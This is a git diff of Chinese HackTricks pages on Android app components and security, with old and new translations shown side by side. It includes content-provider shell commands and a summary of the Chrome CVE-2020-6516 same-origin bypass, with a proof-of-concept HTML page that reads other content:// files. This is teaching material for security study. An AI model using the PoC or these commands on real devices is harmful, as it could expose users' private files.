**Android活动**是**Android**应用用户界面的一个屏幕。这样,**Android活动**与桌面应用程序中的窗口非常相似。一个**Android**应用可能包含一个或多个活动,即一个或多个屏幕。 **Android活动**是**Android**应用程序用户界面的一个屏幕。从这个角度看,**Android活动**与桌面应用程序中的窗口非常相似。一个**Android**应用程序可能包含一个或多个活动,意味着一个或多个屏幕。
**启动器活动**是大多数人认为的Android应用程序的**入口点**。启动器活动是用户点击应用程序图标时启动的活动。您可以通过查看应用程序清单来确定启动器活动。启动器活动将列出以下MAIN和LAUNCHER意图。 **启动器活动**是大多数人认为是Android应用程序的**入口点**。启动器活动是用户单击应用程序图标时启动的活动。您可以通过查看应用程序清单来确定启动器活动。启动器活动将列出以下MAIN和LAUNCHER意图。
请记住并非每个应用程序都会有启动器活动特别是没有UI的应用程序。没有UI因此没有启动器活动的应用程序示例包括在后台执行服务的预安装应用程序,例如语音邮件。 请记住并非每个应用程序都会有启动器活动特别是没有UI的应用程序。没有UI的应用程序示例(因此没有启动器活动)包括在后台执行服务的预安装应用程序,例如语音邮件。
```markup ```markup
<activity android:name=".LauncherActivity"> <activity android:name=".LauncherActivity">
<intent-filter> <intent-filter>
@ -284,87 +238,86 @@ Messenger是另一种IPC机制。由于**Messenger也是“绑定服务”**
</intent-filter> </intent-filter>
</activity> </activity>
``` ```
Activities 可以被导出,允许设备上的其他进程启动该 activity。默认情况下它们不会被导出但你可以通过设置来导出它们: 活动可以被导出,允许设备上的其他进程启动该活动。默认情况下,它们不会被导出,但您可以通过设置来导出它们:
```markup ```markup
<service android:name=".ExampleExportedService" android:exported="true"/> <service android:name=".ExampleExportedService" android:exported="true"/>
``` ```
请注意,**绕过活动保护并不总是一个漏洞**,您需要检查您获得了哪些数据的访问权限。\ 请注意,**绕过活动保护并不总是漏洞**,您需要检查您已访问的数据。\
此外,**有些活动会向调用者返回数据**。在这些情况下,您需要搜索 **`setResult`** 方法并检查传递给 Intent 参数的数据。**如果是敏感数据,您可能有一个信息泄露漏洞**,并且可以通过能够与活动通信的应用程序来利用它 此外,**某些活动会将数据返回给调用者**。在这些情况下,您需要搜索**`setResult`**方法并检查传递到Intent参数的数据。**如果这是敏感数据,则可能存在信息泄露漏洞**,并且可以利用具有与活动通信能力的应用程序
**一个活动的代码从 `onCreate` 方法开始。** **活动的代码始于`onCreate`方法。**
### 应用子类 ### 应用程序子类
Android 应用程序可以定义 [Application](https://developer.android.com/reference/android/app/Application) 的**子类**。应用程序可以定义,也可以不定义 Application 的自定义子类。如果 Android 应用程序定义了 Application 子类,**这个类会在应用程序中的任何其他类之前实例化**。 Android 应用程序可以定义[Application](https://developer.android.com/reference/android/app/Application)的**子类**。应用程序可以定义自定义的 Application 子类,但不一定要这样做。如果 Android 应用程序定义了 Application 子类,则**此类在应用程序中的任何其他类之前实例化**。
如果在 Application 子类中定义了 **`attachBaseContext`** 方法,它将在 **`onCreate`** 方法之前首先被调用 如果在 Application 子类中定义了**`attachBaseContext`**方法,则会首先调用它,然后才调用**`onCreate`**方法
### 服务 ### 服务
[服务](https://developer.android.com/guide/components/services) **在没有用户界面的情况下在后台运行。** 它们用于执行**长时间运行的进程,即使用户开始使用其他应用程序**。 [服务](https://developer.android.com/guide/components/services) **在后台运行,没有用户界面**。它们用于执行**长时间运行的进程,即使用户开始使用不同的应用程序**。
它们可以通过多种方式启动,因此是应用程序的入口点。服务作为应用程序入口点的默认启动方式是通过 **Intents** 它们可以以多种方式启动,因此是应用程序的入口点。启动服务作为应用程序的入口点的默认方式是通过**意图**
当调用 **`startService`** 方法启动服务时,服务中的 **`onStart`** 方法将被执行。它将无限期运行,直到调用 **`stopService`** 方法。如果只有在客户端连接时才需要服务,客户端应该使用 **`bindService`** 方法“绑定”到它。 当调用**`startService`**方法启动服务时,服务中的**`onStart`**方法将被执行。它将一直运行,直到调用**`stopService`**方法。如果服务只在客户端连接时需要,则客户端应使用**`bindService`**方法“绑定”到它。
对于**绑定服务**见前一节),数据将传递给 **`onBind`** 方法。 对于**绑定服务**请参阅上一节),数据将传递给**`onBind`**方法。
例如,服务可能在用户使用其他应用程序时在后台播放音乐,或者在不阻塞用户与活动交互的情况下通过网络获取数据。 例如,服务可能在用户使用不同应用程序时在后台播放音乐,或者在不阻止用户与活动交互的情况下通过网络获取数据。
**服务可以被导出,允许设备上的其他进程启动服务**。默认情况下服务不会被导出,但可以在 Manifest 中配置: **服务可以被导出,允许设备上的其他进程启动服务**。默认情况下,服务不会被导出,但可以在清单中进行配置:
```markup ```markup
<service android:name=".ExampleExportedService" android:exported="true"/> <service android:name=".ExampleExportedService" android:exported="true"/>
``` ```
### 广播接收器 ### 广播接收器
广播可以被认为是一种消息系统,**广播接收器是监听者**。如果一个应用程序为特定的广播注册了接收器,当系统发送广播时,接收器中的代码就会被执行。注意,在这种情况下**多个应用程序可以接收到相同的消息**。 广播可以被视为一种消息系统,**广播接收器是监听器**。如果一个应用程序已经为特定广播注册了一个接收器,当系统发送广播时,该接收器中的代码将被执行。请注意,在这种情况下,**多个应用程序可以接收相同的消息**。
有**两种方式**可以让应用程序**注册接收器**:在**应用程序的Manifest中注册**或在应用程序的代码中使用**`registerReceiver`** API调用**动态注册**。在manifest中你可以通过在接收器元素内使用权限来限制你接受的广播。当**动态**定义时,你可以**将权限传递给`registerReceiver`方法**。 应用程序可以通过**两种方式注册接收器**:在**应用程序清单中注册**或在应用程序代码中使用**`registerReceiver`** API调用**动态注册**。在清单中,您可以通过在接收器元素中使用权限来限制您接受的广播。在**动态**定义时,您可以**将权限传递给`registerReceiver`方法**。
在这两种情况下,为了注册接收器,都需要设置**接收器的意图过滤器**。这些意图过滤器是应该触发接收器的广播。 在这两种情况下,要注册接收器,需要设置接收器的**意图过滤器**。这些意图过滤器是应该触发接收器的广播。
注册的接收器的特定广播被发送时BroadcastReceiver类中的**`onReceive`** 方法会被**执行**。 发送接收器已注册的特定广播时,将执行**BroadcastReceiver类中的`onReceive`**。
例如,一个应用程序可能会为低电量消息注册一个接收器,并根据该信息改其行为。 例如,应用程序可以为低电量消息注册一个接收器,并根据该信息改其行为。
广播可以是**异步的**(每个接收器都接收到它)或**同步的**(根据设置的优先级,广播以有序的方式接收)。 广播可以是**异步**的(每个接收器都会接收到)或**同步**的(广播按照设置的优先级有序接收)。
{% hint style="danger" %} {% hint style="danger" %}
**注意,任何应用程序都可以将自己设置为接收广播的最高优先级。** **注意,任何应用程序都可以将自己设置为接收广播的最高优先级。**
{% endhint %} {% endhint %}
要**检查**实现在广播接收器中的**代码**,你需要搜索接收器类中的**`onReceive`** 方法。\ 要**检查**广播接收器中实现的**代码**,您需要搜索接收器类的**`onReceive`**方法。请注意,**有序广播可能会丢弃接收到的Intent甚至使用其中一个setter方法修改它**。因此,**接收器应该验证数据**。
注意,**有序广播可以丢弃收到的Intent甚至可以使用其中的一个设置方法对其进行修改**。因此,**接收器应该验证数据**。
### 内容提供者 ### 内容提供者
内容提供者是**应用程序共享结构化数据**的方式,例如关系数据库。因此,使用**权限**并设置适当的保护级别来保护它们非常重要。\ 内容提供者是应用程序共享结构化数据的方式,例如关系数据库。因此,使用**权限**并设置适当的保护级别来保护它们非常重要。\
内容提供者可以使用**`readPermission`****`writePermission`** 属性来指定应用程序必须拥有的权限。**这些权限优先于permission属性**。\ 内容提供者可以使用**`readPermission`**和**`writePermission`**属性来指定应用程序必须具有的权限。**这些权限优先于权限属性**。\
此外,它们还可以通过将**`grantUriPermission`** 设置为true并在manifest文件中的provider元素内配置适当的参数来**允许临时例外**。 此外,它们还可以通过将**`grantUriPermission`**设置为true然后在清单文件中的提供者元素内部的**`grant-uri-permission`**元素中配置适当的参数来**允许临时例外**。
**`grant-uri-permission`** 有三个属性path、pathPrefix pathPattern **`grant-uri-permission`**有三个属性path、pathPrefix和pathPattern
* **path**:允许指定整个路径以排除 * **path**:允许指定要排除的整个路径
* **pathPrefix**:允许指定路径的开始部分 * **pathPrefix**:允许指定路径的开
* **pathPattern**:允许使用通配符和符号替换来获得更细粒度的控制。 * **pathPattern**:允许使用通配符和符号替换以获得更精细的控制。
**验证和清理接收到的输入非常重要**以避免潜在的漏洞如SQL注入。 **重要的是验证和清理接收到的输入**以避免潜在的漏洞如SQL注入。
**内容提供者特点:** **内容提供者特点:**
* 内容提供者组件根据请求从一个应用程序向其他应用程序提供数据。 * 内容提供者组件根据请求从一个应用程序向其他应用程序提供数据。
* 可以将数据存储在文件系统、SQLite数据库、网络上者你的应用程序可以访问的任何其他持久存储位置。 * 可以将数据存储在文件系统、SQLite数据库、网络上或应用程序可以访问的任何其他持久存储位置。
* 通过内容提供者,其他应用程序可以查询甚至修改数据(如果内容提供者允许的话)。 * 通过内容提供者,其他应用程序可以查询甚至修改数据(如果内容提供者允许)。
* 内容提供者在应用程序想要与另一个应用程序共享数据时非常有用。 * 内容提供者在应用程序希望与另一个应用程序共享数据的情况下非常有用。
* 它与数据库非常相似,有四种方法。 * 它与数据库非常相似,并具有四种方法。
* insert() * insert()
* update() * update()
* delete() * delete()
* query() * query()
**文件提供者** **FileProvider**
这是一种内容提供者,它将**共享**来自文件夹的文件。你可以这样声明一个文件提供者: 这是一种将**文件**从文件夹共享的内容提供者类型。您可以像这样声明一个文件提供者:
```markup ```markup
<provider android:name="androidx.core.content.FileProvider" <provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider" android:authorities="com.example.myapp.fileprovider"
@ -374,88 +327,72 @@ android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths" /> android:resource="@xml/filepaths" />
</provider> </provider>
``` ```
注意 **`android:exported`** 属性,因为如果它是 **`true`**,外部应用程序将能够访问共享文件夹。\ 注意**`android:exported`**属性,因为如果它是**`true`**,外部应用程序将能够访问共享文件夹。\
注意配置 `android:resource="@xml/filepaths"` 表示文件 _res/xml/filepaths.xml_ 包含配置,指出 **FileProvider** 将要**共享**的**哪些文件夹**。这是一个示例,展示如何在该文件中指示共享一个文件夹: 注意配置`android:resource="@xml/filepaths"`表示文件_res/xml/filepaths.xml_包含**FileProvider**将要**共享**的**文件夹**的配置。这是如何指示在该文件中共享一个文件夹的示例
```markup ```markup
<paths> <paths>
<files-path path="images/" name="myimages" /> <files-path path="images/" name="myimages" />
</paths> </paths>
``` ```
```markdown 共享类似 **`path="."`** 这样的内容可能是**危险**的,即使提供者没有被导出,如果代码的某个部分存在其他漏洞尝试访问该提供者。\
分享类似 **`path="."`** 的内容即使提供者没有导出,如果代码的其他部分存在尝试访问此提供者的漏洞,也可能是**危险的**。 您可以使用 `content://com.example.myapp.fileprovider/myimages/default_image.jpg` 访问该文件夹内的**图像**。
您可以使用 `content://com.example.myapp.fileprovider/myimages/default_image.jpg` **访问**文件夹内的**图片**
`<paths>` 元素可以有多个子元素,每个子元素指定要共享的不同目录。除了 **`<files-path>`** 元素,您还可以使用 **`<external-path>`** 元素共享**外部存储**中的目录,以及 **`<cache-path>`** 元素共享您的**内部缓存目录**中的目录。 `<paths>` 元素可以有多个子元素,每个子元素指定要共享的不同目录。除了 **`<files-path>`** 元素,您还可以使用 **`<external-path>`** 元素共享**外部存储**中的目录,以及使用 **`<cache-path>`** 元素共享**内部缓存目录**中的目录。\
[有关特定文件提供者属性的更多信息,请点击这里。](https://developer.android.com/reference/androidx/core/content/FileProvider) [有关特定文件提供者属性的更多信息,请访问此处。](https://developer.android.com/reference/androidx/core/content/FileProvider)
[关于FileProviders的更多信息在这里](https://developer.android.com/training/secure-file-sharing/setup-sharing)。 [有关 FileProviders 的更多信息,请点击这里](https://developer.android.com/training/secure-file-sharing/setup-sharing).
## WebViews ## WebViews
WebViews 实际上是嵌入到 Android 应用中的**网络浏览器**。 WebViews 实际上是嵌入到 Android 应用程序中的**Web浏览器**。\
WebViews 的内容可以从远程站点拉取,也可以是应用中包含的文件。 WebViews 的内容可以从远程站点获取,也可以是包含在应用程序中的文件。\
WebViews **容易受到影响任何网络浏览器的同样漏洞**。然而,有一些**配置**可以用来**限制**攻击**面** WebViews **容易受到影响任何 Web 浏览器的相同漏洞**。但是,有一些**配置**可以有助于**限制** **攻击** **面**
Android 中有两种类型的 WebViews Android 中有两种类型的 WebViews
* **WebViewClient**,最适合简单HTML渲染。这不会运行 JS alert 函数。因此,使用该函数的 XSS 测试将无效。 * **WebViewClient**,最适合简单的 HTML 渲染。这不会运行 JS 警报功能。因此,使用该功能进行 XSS 测试将无效。
* **WebChrome** **client**,是一个 Chrome 浏览器。 * **WebChrome** **client**,是 Chrome 浏览器。
请注意,**WebView 浏览器无法访问原生浏览器的 cookies**。 请注意,**WebView 浏览器无法访问本机浏览器的 Cookie**。
要加载 URL 或文件,可以使用 **`loadUrl`**、**`loadData`** 或 **`loadDataWithBaseURL`** 函数。**重要的是只访问经过消毒的 URL。** 要加载 URL 或文件,可以使用 **`loadUrl`**、**`loadData`** 或 **`loadDataWithBaseURL`** 函数。**只访问经过消毒的 URL 是很重要的。**\
WebView 安全性可以通过 **`WebSettings`** 对象进行配置。 可以通过 **`WebSettings`** 对象配置 WebView 安全性\
例如,可以使用 **`setJavaScriptEnabled`** 方法并将值设置为 **`false`** 来禁用 JS 代码执行。这将**移除** **XSS** 和其他与 JS 相关的漏洞的可能性。 例如,可以使用 **`setJavaScriptEnabled`** 方法将 JS 代码执行禁用为 **`false`** 值。这将**消除** **XSS** 和其他与 JS 相关的漏洞的可能性。
JavaScript "**Bridge**" 功能**将 Java 对象注入 WebView使它们可以被 JS 访问**。从 Android 4.2 开始,方法必须用 **`@JavascriptInterface`** 注解才能被 JavaScript 访问。 JavaScript "**Bridge**" 功能**将 Java 对象注入到 WebView 中,使其可供 JS 访问**。从 Android 4.2 开始,必须使用 **`@JavascriptInterface`** 对方法进行注释,以便让 JavaScript 访问。
如果**`setAllowContentAccess`** 传递 **`true`****WebViews 将能够通过** **`content://`** 方案访问内容提供者**。这显然构成了安全风险。请注意,如果授予此访问权限,非常重要的是**确保** **`content://`** URL 是**安全的**。 如果**`true`** 传递给 **`setAllowContentAccess`****WebViews 将能够通过 `content://` 方案访问内容提供者**。这显然存在安全风险。请注意,如果授予此访问权限,非常重要的是**确保** **`content://`** URL 是**安全的**。
默认情况下WebViews 可以通过 file:// URLs 访问本地文件,但有几种方法可以防止这种行为: 默认情况下WebViews 可以通过 file:// URL 访问本地文件,但有几种方法可以防止这种行为:
* **`setAllowFileAccess`** 传递 **`false`**,可以防止访问文件系统,但可以通过 `file:///android_asset` _和_ `file:///android_res` 访问资。这些路径应仅用于非敏感数据(如图像),因此应该是安全的。 * **`false`** 传递给 **`setAllowFileAccess`**,可以防止访问文件系统,但可以通过 `file:///android_asset` _和_ `file:///android_res` 访问资。这些路径应仅用于非敏感数据(如图像),因此应该是安全的。
* 方法 **`setAllowFileAccess`** 指示是否应允许来自 `file://` URL 的路径访问其他文件方案 URL 的内容。 * **`setAllowFileAccess`** 方法指示是否应允许来自 `file://` URL 的路径访问其他文件方案 URL 的内容。
* 方法 **`setAllowUniversalAccessFromFileURLs`** 指示是否应允许来自 `file://` URL 的路径访问任何来源的内容。 * **`setAllowUniversalAccessFromFileURLs`** 方法指示是否应允许来自 `file://` URL 的路径访问任何来源的内容。
## 其他应用组件 ## 其他应用程序组件
### **应用签名** ### **应用程序签名**
* Android 要求在安装之前,**所有应用都必须用证书进行数字签名**。Android 使用这个证书来识别应用的作者。 * Android 要求在应用程序安装之前必须使用证书对**所有应用程序进行数字签名**。Android 使用此证书来识别应用程序的作者。
* 要在设备上运行应用程序,应该被签名。当应用程序安装到设备上时,**包管理器验证**是否已使用 apk 文件中的证书正确签名。 * 要在设备上运行应用程序,应用程序应该被签名。当应用程序安装到设备上时,**包管理器验证**应用程序是否已使用 apk 文件中的证书正确签名。
* 应用程序可以自签名,也可以通过 CA 签名。 * 应用程序可以自签名,也可以通过 CA 签名。
* 应用签名确保一个应用程序不能访问其他应用程序,除非通过定义良好的 IPC并且确保它未经修改地传递到设备 * 应用程序签名确保一个应用程序不能访问任何其他应用程序,除非通过明确定义的 IPC并且还要确保应用程序未经修改地传递到设备上
### **应用验证** ### **应用程序验证**
* Android 4.2 及更高版本支持应用验证。用户可以选择启用“验证应用程序”,并在安装之前由应用验证器评估应用程序。 * Android 4.2 及更高版本支持应用程序验证。用户可以选择启用“验证应用程序”,并在安装之前由应用程序验证器评估应用程序。
* 如果用户尝试安装可能有害的应用程序,应用验证可以提醒用户;如果应用程序特别糟糕,它可以阻止安装。 * 应用程序验证可以在用户尝试安装可能有害的应用程序时向用户发出警报;如果应用程序特别糟糕,它可以阻止安装。
## 移动设备管理 ## 移动设备管理
MDM 或移动设备管理是用于**确保对移动设备的控制和安全要求**的软件套件。这些套件使用称为设备管理 API 的功能,并要求安装 Android 应用程序。 MDM 或移动设备管理是用于在移动设备上**确保控制和安全要求**的软件套件。这些套件使用称为设备管理 API 的功能,并要求安装 Android 应用程序。
通常MDM 解决方案执行的功能包括强制执行密码策略、强制加密存储和启用远程擦除设备数据。 通常MDM 解决方案执行诸如强制执行密码策略、强制加密存储和启用远程擦除设备数据等功能
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到对您最重要的漏洞以便更快修复。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术堆栈中找到问题,从 API 到网络应用程序和云系统。[**今天就免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。 找到最重要的漏洞,以便更快修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
*** ***
<details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
支持 HackTricks 的其他方式:
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
```

View file

@ -1,78 +1,65 @@
<details> <details>
<summary><strong>从零开始学习AWS黑客技术直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式: 其他支持HackTricks的方式
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
要试验内容提供者可以在Android设备上使用`content`命令。不一定需要根访问权限。例如,要查看由媒体存储管理的文件列表,可以执行以下命令: **这是一篇文章的摘要 [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### 在媒体存储中列出文件
要列出由媒体存储管理的文件,可以使用以下命令:
```bash ```bash
$ content query --uri content://media/external/file $ content query --uri content://media/external/file
``` ```
为了使输出更加人性化,可以将显示的列限制为每个索引文件的标识符和路径。 为了获得更加人性化的输出,仅显示每个索引文件的标识符和路径:
```bash ```bash
$ content query --uri content://media/external/file --projection _id,_data $ content query --uri content://media/external/file --projection _id,_data
``` ```
媒体提供者存在于它们自己的私有命名空间中。如上例所示,要访问内容提供者,应指定相应的`content://` URI。通常可以通过查看应用程序清单如果内容提供者由应用程序导出或Android框架的源代码来恢复可以访问提供者的路径信息。 ### 内容提供程序
有趣的是在Android设备上Chrome支持通过`content://`方案访问内容提供者。此功能允许浏览器访问由第三方应用程序导出的资源(例如照片、文档等)。为了验证这一点,可以在媒体存储中插入一个自定义条目,然后使用浏览器访问它: 内容提供程序被隔离在它们自己的私有命名空间中。访问提供程序需要特定的 `content://` URI。可以从应用程序清单或Android框架的源代码中获取访问提供程序的路径信息。
### Chrome 访问内容提供程序
Android 上的 Chrome 可以通过 `content://` 方案访问内容提供程序,从而可以访问第三方应用程序导出的照片或文档等资源。为了说明这一点,可以将文件插入到媒体存储中,然后通过 Chrome 访问:
```bash ```bash
$ cd /sdcard cd /sdcard
$ echo "Hello, world!" > test.txt echo "Hello, world!" > test.txt
$ content insert --uri content://media/external/file \ content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \ --bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain --bind mime_type:s:text/plain
``` ```
发现新插入文件的标识符: 发现新插入文件的标识符:
```bash ```bash
$ content query --uri content://media/external/file \ content query --uri content://media/external/file \
--projection _id,_data | grep test.txt --projection _id,_data | grep test.txt
Row: 283 _id=747, _data=/storage/emulated/0/test.txt # Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
``` ```
```markdown 文件可以通过使用构建的带有文件标识符的URL在Chrome中查看。
要在Chrome中查看文件可以使用如下图所示的URL。请注意文件标识符747如上所发现它被用作URL的后缀。
![Chrome "你好,世界!"](https://census-labs.com/media/whatsapp-screenshot-hello-world.png) 例如,要列出与特定应用程序相关的文件:
例如您可以列出与WhatsApp相关的所有文件
```
```bash ```bash
$ content query --uri content://media/external/file --projection _id,_data | grep -i whatsapp content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
...
Row: 82 _id=58, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache
Row: 83 _id=705, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/157.240.9.53.443
Row: 84 _id=239, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/crashlogs.whatsapp.net.443
Row: 85 _id=240, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/pps.whatsapp.net.443
Row: 86 _id=90, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/static.whatsapp.net.443
Row: 87 _id=706, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/v.whatsapp.net.443
Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/www.whatsapp.com.443
...
``` ```
## Chrome CVE-2020-6516 同源策略绕过 <a href="#cve-2020-6516" id="cve-2020-6516"></a> ### Chrome CVE-2020-6516: 同源策略绕过
浏览器中的 _同源策略_ (SOP) \[[12](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin\_policy)] 规定URL A的Javascript内容只能访问URL B的内容如果A和B的以下URL属性保持相同 _Same Origin Policy_ (SOP) 是浏览器中的安全协议,限制网页与不同来源的资源进行交互,除非经过跨源资源共享 (CORS) 策略明确允许。该策略旨在防止信息泄露和跨站请求伪造。Chrome 将 `content://` 视为本地方案,意味着更严格的 SOP 规则,其中每个本地方案 URL 都被视为单独的来源。
* 协议,例如 `https` 对比 `http` 然而CVE-2020-6516 是 Chrome 中的一个漏洞,允许通过 `content://` URL 加载的资源绕过 SOP 规则。实际上,来自 `content://` URL 的 JavaScript 代码可以访问通过 `content://` URL 加载的其他资源,这是一个重大安全问题,特别是在运行早于 Android 10 版本的 Android 设备上,因为这些设备尚未实现作用域存储。
* 域名,例如 `www.example1.com` 对比 `www.example2.com`
* 端口,例如 `www.example1.com:8080` 对比 `www.example1.com:8443`
当然,上述规则有例外,但通常情况下,`https://www.example1.com` 的资源例如一段Javascript代码不能访问 `https://www.example2.com` 上的资源的DOM因为这会引入严重的信息泄露。**除非跨源资源共享CORS策略明确允许否则网页资源不应该能绕过SOP规则。** 下面的概念验证演示了这个漏洞,其中一个 HTML 文档在**/sdcard**下上传并添加到媒体存储后,使用其 JavaScript 中的 `XMLHttpRequest` 访问并显示媒体存储中另一个文件的内容,绕过了 SOP 规则。
需要注意的是Chrome认为 `content://` 是一个 _本地方案_,就像 `file://` 一样。在这种情况下SOP规则更加严格因为每个本地方案URL都被视为一个独立的源。例如**file:///tmp/test.html** 中的Javascript代码不应该能够访问 **file:///tmp/test2.html** 的内容,或者说任何其他文件系统上的文件。**因此根据SOP规则通过 `content://` 加载的资源不应该能够访问任何其他 `content://` 资源。** 嗯Chrome的CVE-2020-6516漏洞为这条规则创造了一个“例外”。 概念验证 HTML:
```xml
CVE-2020-6516 \[[03](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516)] 是一个在通过 `content://` URL加载的资源上的SOP绕过。**例如,从 `content://com.example.provider/test.html` 加载的HTML文档中运行的Javascript代码可以加载并访问通过 `content://` URL加载的任何其他资源。** 这是一个严重的漏洞特别是在运行Android 9或之前版本的Android设备上。在这些设备上没有实现作用域存储 \[[13](https://developer.android.com/about/versions/10/privacy/changes#scoped-storage)],因此,位于 **/sdcard** 下的应用特定数据,更有趣的是位于 **/sdcard/Android** 下的数据,可以通过系统的媒体存储内容提供者访问。
概念验证相当直接。一个使用 `XMLHttpRequest` 访问任意 `content://` URLs的HTML文档被上传到 **/sdcard** 下。然后它被添加到媒体存储中并以类似于前面展示的示例的方式在Chrome中渲染。为了演示目的可以尝试加载 `content://media/external/file/747`,实际上,这是"Hello, world!"示例的媒体存储URL。令人惊讶的是运行在HTML文档源中的Javascript代码将获取并显示 **test.txt** 的内容。
```markup
<html> <html>
<head> <head>
<title>PoC</title> <title>PoC</title>
@ -100,19 +87,16 @@ xhr.send();
<body onload="poc()"></body> <body onload="poc()"></body>
</html> </html>
``` ```
**从这篇文章中获取的信息:** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客技术</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式: 其他支持HackTricks的方式
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
